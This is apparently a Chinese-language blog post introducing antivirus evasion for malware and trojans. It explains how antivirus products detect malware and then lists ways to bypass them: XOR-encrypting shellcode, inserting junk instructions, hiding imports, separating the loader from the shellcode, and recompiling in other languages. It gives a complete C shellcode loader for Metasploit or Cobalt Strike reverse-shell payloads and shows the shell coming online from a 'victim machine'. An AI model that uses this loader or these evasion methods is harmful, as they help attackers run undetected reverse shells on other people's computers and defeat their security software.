免殺初探

ve1kcon發表於2024-05-13

0x00 概念

免殺是反病毒技術,指的是一種能使病毒木馬免於被防毒軟體查殺的技術。免殺的最基本思想就是破壞特徵,可以是特徵碼,也可以是行為特徵,以這種思路修改病毒、木馬的內容,來對抗殺軟。
網上的開源測試專案在短時間內就會被安全廠商分析並加入特徵庫,即使它們已經無法免殺,我們也可以拿來學習和利用。一個是學習它的實現思想,自己實現並去特徵免殺;二是改造原有專案,透過自己查特徵、去特徵免殺。
主流的免殺思路:

  1. 二進位制的免殺,利用匯編配合shellcode,透過呼叫系統底層函式進核心的方式免殺。
  2. 尋找安全廠商未覆蓋的方法和工具,使用新的語言工具和專案,跟廠商比速度。例如,可以用各種語言二次編譯,配合上一些語言特性如python反序列化達成免殺;以及透過現有工具的組合有效提高複雜度。目前比較好用的免殺,是換語言和分離免殺,還有就是現在錯誤的PE格式更容易被檢測到。

0x01 殺軟檢測方法

  1. 特徵碼檢測
    對檔案或記憶體中存在的特徵做檢測,一般的方法是做模糊雜湊或者機器學習跑模型,優點是準確度高,缺點是對未知木馬缺乏檢測能力。所以目前依賴廠商的更新,廠商做的更新及時能有效提高殺軟的防護水平。
    檢測的特徵不僅僅是惡意payload的特徵,也可能是一組關聯的程式碼,即將一組關聯資訊作為特徵。這種做法的本質還是黑名單,總會存在未能覆蓋到的漏網之魚。例如,在使用載入器載入shellcode時,需要開闢記憶體,將shellcode載入進記憶體,最後執行記憶體區域shellcode。這些步驟就被反病毒人員提取出來作為特徵,在呼叫了一組開闢記憶體的函式比如virtualAlloc之後,如果對該記憶體使用virtualProtect來更改標示位為可執行段並且對該記憶體進行了呼叫就會觸發報毒。

  2. 行為檢測
    透過hook關鍵API,以及對各個高危的檔案、元件做監控防止惡意程式對系統修改。只要惡意程式對登錄檔、啟動項、系統檔案等做操作就會觸發告警。最後,行為檢測也被應用到了沙箱做為動態檢測,關於給木馬樣本做反沙箱【外鏈1】【外鏈2】

0x02 繞過殺軟

  1. 特徵碼修改、去特徵
    一個shellcode載入器存在兩個明顯的特徵,分別是shellcode和硬編碼字串。我們需要消除這些特徵,比較簡單的方案,可以使用base64等進行編碼。但對於shellcode,使用base64並不安全,所以更安全的方案是加密,一個簡單的異或加密就能消除shellcode的特徵。然後載入器的關聯特徵也需要消除,可以對程式碼中出現連續呼叫的virtualAlloc,virtualProtect進行插入花指令,透過加入無意義的程式碼干擾EDR反編譯和分析。還可以考慮加殼。

  2. 記憶體免殺

  3. 隱藏IAT
    每呼叫一個系統函式就會在匯入表中存在,這對於反病毒人員來說是個很好的特徵,直接透過檢測匯入表中有沒有呼叫可疑函式。這裡就需要隱藏我們的匯入函式。一個比較通用的辦法是直接透過getProcessAddress函式獲取所需要函式的地址,知道地址後就能直接呼叫,這樣整個程式內除了getProcessAddress不會有其他函式出現在IAT表中。儘管這樣已經能繞過檢測,但還有種更保險的做法,用匯編從Teb裡找到kernel32.dll的地址,再從其匯出表中獲取所需系統函式。

  4. 分離免殺
    關於shellcode和loader分開上傳。

  5. 二次編譯、其他語言編譯免殺

0x03 免殺學習

基於對免殺的認識,大致可以分成兩個方向進行學習:靜態免殺和動態免殺。此外還需要了解EDR的行為模式、關注它是怎麼分析程式的,寫免殺馬才能事半功倍。

靜態免殺

靜態免殺的主要思路就是改變病毒的特徵,使得惡意程式碼在不執行的情況下看起來無害,從而躲避防毒軟體的查殺,實現方式例如加密、換框架、換語言..
首先從寫個普通的載入shellcode程式碼開始學習,瞭解到python的loader最容易被查殺(除非用cython寫pyd),所以從c開始學習了。
先透過msf或者cs生成反彈shell的shellcode

1715538449965.png

將生成的shellcode套入下列c程式碼的payload中,編譯出msf_shell.exe

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <string.h>

unsigned char payload[] = "";


unsigned int len_payload = sizeof(payload);


int main(void){
 void * payload_memory;
 BOOL result;
 HANDLE ThreadHandle;
 DWORD OldProtect = 0;
 
 //(1)Allocate a memory for payload.
 payload_memory = VirtualAlloc(0, len_payload, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
 //(2)Copy payload to memory buffer.
 RtlMoveMemory(payload_memory, payload, len_payload);
 
 //(3)set buffer as exectuable
 result = VirtualProtect(payload_memory, len_payload, PAGE_EXECUTE_READ, &OldProtect); 
 
 if(result != 0){
  //(4)run payload
  ThreadHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)payload_memory, 0, 0, 0);
  WaitForSingleObject(ThreadHandle, -1);
 }
 
 return 0;
}

(1) 使用VirtualAlloc函式在當前程式程序的虛擬地址空間中分配一塊記憶體,以容納payload陣列,並將這塊記憶體設定為允許讀取和寫入。該函式返回一個指向已分配記憶體塊的基地址的指標,該記憶體塊儲存在payload_memory變數中。VirtualAlloc函式可以在當前呼叫程序的虛擬地址空間中保留、提交或保留並提交指定數量的記憶體頁。該函式分配的記憶體會自動初始化為零。如果需要在另一個程序的地址空間中分配記憶體,需要使用VirtualAllocEx函式。
(2) 透過RtlMoveMemory函式實現了將payload的具體內容複製到之前使用VirtualAlloc()分配的payload_memory緩衝區記憶體中。
(3) 透過VirtualProtect實現了對payload_memory指向的記憶體區域保護屬性的修改。 將保護屬性從PAGE_READWRITE更改為了PAGE_EXECUTE_READ,這使得這塊記憶體可以作為程式碼執行。舊的保護屬性值儲存在OldProtect變數中供以後使用。該函式會返回一個布林值,結果存放到result變數中,用於指示保護屬性更改是否成功。
(4) 透過在單獨的執行緒中執行來執行payload,並等待它執行完成,然後再繼續執行程式的其他功能。

在受害機執行剛剛生成的可執行檔案msf_shell.exe後,在正在監聽對應埠的攻擊機即可看到新上線的shell

1715540693921.png

接下來可以開始嘗試一些靜態免殺方法了,比如:【外鏈】回撥編譯執行+混淆變異演算法

動態免殺

相較於靜態免殺,動態免殺透過修改惡意程式碼的行為方式,使其在實際執行過程中能夠規避殺軟的動態分析和檢測技術。與靜態免殺專注於修改檔案的靜態特徵不同,動態免殺關注的是軟體在執行階段如何與系統互動,以及如何隱藏其惡意活動,以欺騙或繞過EDR的實時監控,這就傾向於需要去關注系統呼叫、回撥函式等來實現利用。大致思路有:替換/重寫API、在程式執行時動態地向記憶體中注入或修改程式碼、API呼叫混淆、程式碼延時執行與環境檢測、程序注入與隱藏、找更底層API進行呼叫...

0x04 參考文章

【外鏈1】
【外鏈2】
【外鏈3】

相關文章